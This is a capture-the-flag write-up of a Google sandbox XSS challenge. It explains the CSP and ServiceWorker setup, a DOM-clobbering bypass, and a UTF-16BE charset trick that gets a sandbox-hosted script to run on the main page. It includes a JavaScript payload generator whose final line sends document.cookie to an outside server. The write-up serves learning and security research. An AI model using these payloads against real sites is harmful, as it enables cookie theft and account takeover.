Another client-side web challenge from Google.
How does it work?
Firstly, we need to acknowledge how this “sandbox” works.
You input a html code on the website, your input will come through sandbox, and the page print out as Rendered sanitized HTML
ServiceWorkers is been used to prevent peoples getting out of sandbox. Basically, it controls and fetchs pages from its origin.
I spent little time on reading the documents about this, it’s very cool, make www better and more awesome.
CSP
You need to notice that there are two Content-Security-Policy at two different places:
-
- At the main page, there is
1<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
means loading content from only itself is allowed. - In the sandbox, it is
1<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src *">
means you can just only load<script>
or<link rel=import>
from any source but not inline
- At the main page, there is
The strategies
So, there may be two ways to solve this:
- Escaping the sandbox
- Exploiting XSS at the main page, include some html/script from the website itself.
The first way I tried was exploiting inside sandbox to load scripting from outside, but… serviceWorker was setup for serving all pages from this origin.
You can see that it removes currentScript
or link[rel=import]
, to bypass it you can just insert one more <link rel=import>
to let it remove the first one but not second.
There is another way to do that is DOM Clobbering.
1 2 |
<img name=remove> <link rel=import href='https://l4w.io/'> |
this script definesremove
variable again, turns it into element.
I was trying to abuse client,URL,pathname
to make isSandbox
returns FALSE. After long hours,
I failed ✘
Then the way must be running script in the main page, but how? As I mentioned earlier, loading from only itself is allowed…
How about let it load script from /sandbox?html=...
then the main page includes an import from /sandbox?html=...
and treats it as HTML code.
Well, now /sandbox?html=script blah blah
is considered as text/script. But I got a syntax error
Sure, the javascript should not startwith <!doctype HTML>...
I was getting close…
Much time later, I found this challenge writeup from Cure53. I realized I’m on the right track.
Just use the same payload to test…and it works!!!!
1 |
escape('<script charset=utf-16be src="sandbox?html=%00=%001%00/%00/"></script>') |
utf-16be
is filtered in sanitizer.js (it must be a hint but I didn’t realize, I thought it’s a trap..haiz)
You can bypass it by encode utf-16be
into utf-1%36be
(because it will come through sandbox via link href)
In the devtools window, we can see that it parses successfully the script from sandbox with bunch of unicode bytes.
I write a little/noob/lazy script to generate a unicode payload
1 2 3 4 5 6 7 8 9 10 11 12 13 |
function gen_payload(e){ var out = ''; for(var i = 0; i < e.length; i++){ out += '\u0000'+e[i]; } out = escape(out); var a = "<script charset=\"utf-16be\" src=\"sandbox?html="+out+"\"><\/script>"; console.log(a); a = escape(a).replace('utf-16be','utf-1%36be'); return a; } gen_payload('=1/**/; location.href="https://l4w.io/?" + escape(document.cookie);'); |
then you can retrieve flag from your server
:camdong: